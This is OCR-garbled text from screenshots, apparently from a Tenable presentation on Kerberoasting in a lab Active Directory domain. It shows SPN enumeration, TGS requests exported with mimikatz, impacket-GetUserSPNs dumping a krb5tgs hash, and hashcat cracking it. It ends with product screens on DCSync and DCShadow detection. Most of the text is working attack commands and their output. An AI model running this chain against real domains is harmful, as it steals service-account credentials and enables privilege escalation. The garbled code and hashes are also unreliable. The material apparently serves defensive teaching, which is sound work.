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Description

Members in this group c...
Built-in account for gue...
Members of this group ...
Key Distribution Center ...

Members of this group ...
Servers in this group can...

Members of this group ...

Designated administrata...

- O X sqlsrv Properties ? %
Dial4n Object Security Environment Sessions
COrganization Fublished Cerificates Member Of  Password Replication
General Address Account Profile Telephones Delegation
-~ Remote control ~ Remote Desktop Services Profile  COM+  Attribute Editor
Attributes:
Attribute Value =
sAMAccount Type 805306368 = { NORMAL_USER_ACCOUNT
script Path <not set>
secretary <not set’
securtyldentifier <not set>
seeflso <not set:
seralMumber <not set:
servicePrincipalMame  MS5QLSve/ 7o 1f25-aac3-4431-8c4dd-ea
shadowExpire <not set>
shadowFlag <not set>
shadowInactive <not set:
shadowlastChange <not set>
shadow Max <not set=
shadowMin <not set
shadowVWaming “not set= i
£ >
Edit Filter
W
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ask for tgs and export.ps1 | List SPNs.ps1 X
1  #set search

cls
3 $search Mew-0Object Directoryservices.Directorysearcher([apsI]™™)
4 tsearch.filter “(servicePrincipalname=*)"
5 fresults fsearch. Findall ()

#1ist results _
g foreach(fresult in fresults)

9 31

10 fusereEntry iresult.GetDirectoryEntry()

11 write-host "Object Name = " ZusereEntry.name -backgroundcolor “"vellow” -foregroundcolor “black”
12 |write-host “DN = *  Suserentry.distinguishedname

13 write-host "object cat. = " fuserentry.objectcategory

14 write-host “servicePrincipalnNames” §i=1

16 foreach(%5PN in SuserEntry.servicePrincipalName)

18 write-host “spPN{" $1 ") = " {SPM Ti+=1
19 T

20 write-host “"

21

22 |}

c:\uUsers\richard> whoami /priv

PRIVILEGES INFORMATION

seChangeNotifyPrivilege 2 [ g N
seIncreasewWorkingsetPrivilege Incr Disabled

Ps C:“Usershrichard>
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| Untitled1.ps1 | ask for tgs and export.ps1 || List SPNs.ps1 X
1 #set search

2 «cls

3  S$search = New-Object Directoryservices.DirectorySearcher ([ADSI]"")
4 f$search.filter “(servicePrincipalName=*)"

5 Sresults = $search.Findall1()

7 #list results

8 foreach(fresult in %results)

9 ={

10 | Suserentry = $result.GetDirectoryeEntry()
11 |write-host “oObject Name = “ Suserentry.name -backgroundcolor “yellow” -foregroundcolor “black™
12 | write-host "DN = " Zuserentry.distinguishedname
13 | write-host “object cat. = “ SusereEntry.objectCategory

14 | write-host “servicePrincipalnames” $i=1

15
16 | foreach(SsPN in fuserEntry.servicePrincipalName)
17 3{
18 write-host “spM(” %1 “) = " LSPM Ti+=1

19 1
20 |write-host "”
21
22 |}

Object Name = sqlsr

DN = CN=sqlsrv,CN=Users,DC=tenablelab,DC=com

oObject cat. = CN=Person,CN=Schema,CN=Configuration,DC=tenablelab,DC=com
servicePrincipalNames =1

SPNC ) = MSSQLSvc/7c5f1f25-aac3-4431-9c4d-ea8fd53b89de.tenablelab.com +=1

Otenable
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ask for tgs and export.ps1* X || List SPNs.ps1

1 Add-Type -AssemblyName system.Identitymodel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/7c¢5f1f25-aac3-4431-9c4d-ea8fd53b89de.tenablelab.com”

cd "C:\Minikatz\mimikatz_trunk\x64";
Amimikatz.exe "kerberos::list /export” exit

cd "C:\tools - copy\tools\kerberoast\kerberoast-master”
C:\Python27\python.exe tgsrepcrack.py pwdlist.xt 'C:\tools - Copy\tools\mimikatz\x64\3-40a10000-fortrust@MssqQLSvc~8e697658-0164-4a4a~-9¢16-d71f

Object Name = sqlsr

DN = CN=sqlsrv,CN=Users,DC=tenablelab,DC=com

object cat. = CN=Person,CN=Schema,CN=Configuration,DC=tenablelab,DC=com
servicePrincipalNames =1

SPN( ) = MSSQLSvc/7c5f1f25-aac3-4431-9c4d-ea8fd53b89de.tenablelab.com +=1

PS c:\Users\richard> Add-Type -AssemblyName System.Identitymodel

New-Object System.IdentityModel.Tokens.KerberosRequestorsSecurityToken -ArgumentList “MSSQLSvc/7c5f1f25-aac3-4431-9c4d-ea8fd53b89de.tenablelab.com"

1d : uuid-e3554d34-b970-4ed5-b8aa-a5712e25b4c0-1

securitykeys : {system.Identitymodel.Tokens.InMemorySymmetricSecurityKey}
validFrom : 9/19/2022 6:20:03 AM

validTto : 9/19/2022 4:20:03 PM

servicePrincipalName : MSSQLSvc/7c¢5f1f25-aac3-4431-9c4d-ea8fd53b89de.tenablelab.com
Ssecuritykey : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey
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ask for tgs and export.ps1® X | List SPNs.psi
1 Add-Type -AssemblyName System.Identitymode]

New-Object System.IdentityModel.Tokens.KerberosRequestorsSecurityToken -ArgumentList "MSSQLSvc/7c¢5f1f25-aac3-4431-9c4d-ea8fd53b89de.tenablelab.com”

) cd "c:\Minikatz\mimikatz_trunk\x64";
6 \mimikatz.exe "kerberos::list /export" exit

cd "c:\tools - copy\tools\kerberoast\kerberoast-master"
C:\Python27\python.exe .\tgsrepcrack.py .\pwdlist.txt 'C:\Mimikatz\x64\3-40a10000-fortrust@ssqQLSvc~8e697658-0164-4a4a-9e16-d71f7654188e.alsid.corp

PS c:\Users\richard> klist
Current LogonId is 0:0x5e77a
cached Tickets: (2)

#0> client: richard @ TENABLELAB.COM
server: krbtgt/TENABLELAB.COM @ TENABLELAB.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
start Time: 9/19/2022 14:20:03 (local)
End Time: 9/20/2022 0:20:03 (local)
Renew Time: 9/26/2022 14:20:03 (local)

session Key Type: AES-256-CTS-HMAC-SHA1-96
cache Flags: Ox1 -> PRIMARY
Kdc called: AD2016

Client: richard @ TENABLELAB.COM

server: MsSQLSvc/7c¢5f1f25-aac3-4431-9c4d-ea8fd53b89de.tenablelab.com @ TENABLELAB.COM

KerDTiCKer ENCryplion Type. KSAUSL RCA=AMAC(NT)

Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize

start Time: 9/19/2022 14:20:03 (local)

End Time: 9/20/2022 0:20:03 (1?ca1%

Renew Time: 9/26/2022 14:20:03 (local) .
Session Key Type: RSADSI RC4-HMAC(NT) @tenable
cache Flags: 0

Kdc called: AD2016
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[:; impacket-GetUserSPNs —-dc-ip 192.168.9.100 tenablelab.com/richard -request

Impacke .g. Opyrig orporation
Password:
servicePrincipalName Mame MemberOf
PasswordLastSet LastLogon Delegation
sqlsrv/ad2016 sqlsrv CN=Administrators,CH=Builtin,DC=tenablelab,DC=com

2022-09-16 ©6:16:58.683628 <never:>

M35QLSve/Te5flf25-aac3-4431-9c4d-eadfd53b89de. tenablelab.com sglsrv  CN=Administrators,CHN=Builtin,DC=tenablelab,DC=com
2022-09-16 06:16:58.683620 <never:>

sqlsrv/2816:1433 testl CN=Administrators,CN=Builtin,DC=tenablelab,DC=com
2022-08-24 11:26:39.979668 <never:>

krb5tgs$235+sqlsrvSTENABLELAB. COMStenablelab. com/sqlerve$a062b6Tc52b6fdf48bfT519322103becs1090c504bcc88al3bBB52fdT50aef
B377988F28cd43ff2138686T853F51519c776420df41badf1129edc906b%ee210f6232372ccddbfd26eadecad25b47715c8af6aa2aat4eaf5a4e928
291 feThf2fEfdsdbf8fecBas 7 fds8dcchT34fBTdOb4e255a04a5170223a7d84c59d550b70beshbedbd4cdafef9466113cfeds53703058cTfad4479da7
fTdadacfef@73d458ccaab6dateddd45453d43fRa2055b986b2T7b5bb2b8a99195cfch976c5e28d00b197441be832f538d488d8a5c954630e0050575
9ef9d2de242d33e3044150309bc6eB3felofad4f242a9127aa975969ccb6d22bfe8168TcflTe8e51lcclelB06a85ac2592e8e310b309b5d2400e0d3b
Gefafec6dicsSTaTeobT5%eb4Tfed4b385bdda0568905e258637934Fd175232060T88dR80cE62923c2dfd9c8be93becBb3565d48bb0a24aTdT60T7 7689
ec9c3802a01F41648d33fcbce5c9e43ff305e36473d5c19bf54e6821dffT559a68f1fT737c323bd94b12d5b5T025afcTdef6eb63e62Tcdaalcebs72
36b29%ed3ecTbBB5dTf441667cdblBE8954dbB88e901d4T51467 faefefeldf5a961lce2T32b081T84a8b6TT5525763ech3b85ecaceab2bstbbl2b09s56
429beT8947fdTcebdaB56ec5715222bf4dcT3817Teafe3b92237d06ea912dff9a27a25bdd026c51265Th981b8fTh3abl6bbb3e2d87db5elff7a364
cleTebf74d1139da%9c94a21d75c4T7d71T7clalle3e2b4733bedacTfdelaB6B8266a2lcce2 fTd986 1 fTfSeas527b1859ddde75237d6afede3609f041f
4T72532beTdd4eTcedc9bedcd54e925f1e590a72dd52c8elbe2aT44de38Tcd2c92 fbcb5d6as1d6Be f9baks4 fleda38d6abBateed98cT2f0a36BTc3 TR
14752495b81b80d8b34dafa3e8769555278lafdcacTedacd4chl19693Ff880d966a2d5c4dTET20F12668f6cfo39a9b3ddfedfldsaecaaffoadyffenl48
Bf30feb70714299491a157a2f2f19cd50665b632151a7757bl12fdbcdaBesbef4d94eadBadldce2c454ecE8188cb3275c4bded2e57519f6a71e7alb
eff6fa2edl07fdefel8ETe50 758880 Tedl1d366292dacc596bBc0d5d28ecde22f18f13e4908b9cB85Ta21931589f9%cbf2f06chedddf588fb20fabd2
fld29540a6ectd3b4b8245285ccaab8T55T72043T133¢c0a2e81cd3abf8bclT28d98b3ad4959194123¢c8dE65Tbd70e3e574509821cffbe5f83cobaadns
93d3dff54e913006ebeal8bf26fbdb3fTE8F4fdb9c5cc894bec901033dbadTialclebd4Tdd5eechd43adb36a6948527F1507a%ed T fdbabb5bdd666b80LTT
858730035e5b8bfe2ecb30c679ad922dad92fcl41d592f7471824Teadad22950728970bf

Offline password cracking
server farm

EA EA

Domain controllers
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ZiEhashcat BESR 7= T g

E{kali@ kali)-[/tmp]
$ hashcat -m 13100 sglsrv.hash password.txt
hashcat (v6.2.5) starting

OpenCL API (OpenCL 2.0 pocl 1.8 Linux, None+Asserts, RELOC, LLVM 11.1.0, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The
pocl project]

* Device #1: pthread-Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz, 2917/5899 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: @
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, Ox0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
Zero-Byte
Not-Iterated
Single-Hash
Single-Salt

»*

* * *

ATTENTION! Pure (unoptimized) backend kernels selected.

Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -0 to your commandline.
See the above message to find out about the exact Llimits.
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The wordlist or mask that you are using is too small.

This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.

For tips on supplying more work, see: https://hashcat.net/faqg/morework

Approaching final keyspace - workload adjusted.

Skrb5tgs$23$*sqlsrvSTENABLELAB.COMStenablelab.com/sqlsrvx$e9065ac0c4b2a97d41dd970a7dcfbed445a9f5709784c5¢c49e277e500f51558
775e973claafbad15a22f182479fce2979bafdf70942ad72f89e193ae2d83ef691a14d69bTb493a4d155628efbbOc765727b6454f1bfc2303ceafb88
1d65f1ac830dacc280af4fad677eafe59b39a10da646c7624b17ce8cb82¢712590¢c50f71106f3242ac350e5917e71ceaf661le4a8a931d76a88d53f3a
88726473a42e812bf30e2c0872495b18bd7e45622a285803ef6c897¢c9783¢c9ccclb4e844a325f34c4cf4b9e20c399e10f47856fcbafaec7782ea5¢39
21966b435e324d2e06967a2cd94b6e87c8e3a922decd2288c47d780d27d947841fd92120bbbaf5dcbe5707c00bad4c02a33cfa®7d8bded3ce2031de8c
f79f80bff91cc87c97d80fa85eaec38831444d96011730511388d9d9¢cc3d92689e454d9016536590acals57fba27fc146a08904c49f7b862d66feccch
12036305c8d454ded6cl14fbbeadl189e362¢c2d9¢c87708018c74dde83603b2d605a42f0b15bccof6325fe5abadb08acb84ac9d3861070d8a396aa694a4
9a33773ba34f2268fd8cf3117047da5544633b91al136bf3d7256b0c3f02bc799fal18344114bccad45498193a65357a2bc5ablfecbf47ea34af953575
8d5f76b9ca50237a3¢c6c483747e384alde7877edlc7aed98eb2dcadb496c607b0fa65cf7a4ads58977a752aadf12e50441dddfeb46b2bcd64a5bb255¢
2b03982bec3ddc238225¢cc1897751bas5d5bal4bd64e0476821a8d2115dacaee61c4124a08¢c591422d00cd3aece6034645¢c4234ad9dbabb87b302fd19
935d69a9a44601dcaecfcbdfc7be8caf9alfco0fe760502del13a76c841417d7f38327b8074efbble71e90d49df47a4c4a7f8elb6d4f7dd17d94951cl
feS5afleaace7a7d6cccbcas5f22ddf38f0cclbecefff75466755f74434bb057f753f5adc6414be32cchb1f4f82¢9919126939b7420a1c93ee46e0f7f6e
0d873b3blbac8e61517c89c9f06df5c7f7b7e3180592086184571624958923203d32a803accf560739216a57a18elf4cbhb72c740060b765c090a1618b
66f76d3b67bc29b7f58c412¢c4c22¢c614e4e99a04619f65fa8461f105245672454cfe7511cdc6f49¢cb7043a513551d5406bce6ac92330368112f51b5c
62fe565ea5529bad54843dba56ee709bc917f722f5¢c4e411362¢ce67128d889552914401277f547e6e432184d6¢531¢c057552fbal255a878cdf3a8blb
519e110cfb99d4db122cfcl09a27fe0183¢c2af417217ff44677cal7f935ee27ef881d7ca2f94a35aed9fad36000c3f3f4a8566a99d9a363d63bc4e40
dc20aaf8bc42a4a9d4602f8f71b8cbe74c167d01a50d252043d7c64600015515e40dca9:

Session..........: hashcat

Status...........: Cracked

Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)

Hash.Target......: $krb5tgs$233$xsqlsrvSTENABLELAB.COMStenablelab.com/s...40dca9
Time.Started.....: Mon Sep 19 06:18:55 2022 (0 secs)

Time.Estimated...: Mon Sep 19 06:18:55 2022 (@ secs)

e e oM [ S B C - cem = [V
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AD HEIEFFHE B o 5 P Th BE PR AT
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N I E B)\j‘ ! E] \ IE' Domain Controllers Managed by lllegitimate Users {

e R ERYIoE A S R B 5 ged by e

Some domain controllers can be managed by non-

administrative users due to dangerous access rights. User Primary Group ID

l Account with Possible Empty Password
Identifies user accounts that allow empty passwords. Verify users' Primary Group 1D has not been changed
A . .
4 domains Complexity m Accounts having a dangerous SID History attribute
A 3 domains Complexity §~) a a|5id‘C0fP Check user or computer accounts using a privileged SID in
SID history attribute.
. . L. . N A alsid.corp Complexity m
User Account Using Old Password -
9 Potartisl teariTok Passiiord Root objects permissions allowing DCSync-like attacks I
Checks for regular updates of all active account passwords ) . ) A
in Active Directory to reduce credential theft risk Cheecks for objects contalring potentlal clear-text ; ; i it
passwords in readable fields by dorali Users. The permissions set on root objects could allow illegitimate I I
users to steal authentication secrets
A 2 domains Complexity (1)
R - (st .
| 4 domains Complexity (=) 4 alsid.corp Complexity m I I
JAS
I I AD HE
TOOLS-UM Forest ALSID TOOLS-VM = - |
oo . DCSync Uk dsdap O ik A DCShadow
Description 'YARA Detection Rules Description YARA Detection Rules
INCIDENT DESCRIPTION ADDITIONAL RESOURCES INCIDENT DESCRIPTION ADDITIONAL RESOURCES
2 The DCSync command in Mimikatz allows an attacker to pretend to be a domain controller O MITRE ATTSCK description DCShadow is another late-stage kill chain attack that allows an attacker with privileged credentials to register a rogue B MITRE ATT&CK description
' domain controller in order to push changes to a domain via domain replication. B DCShadow official
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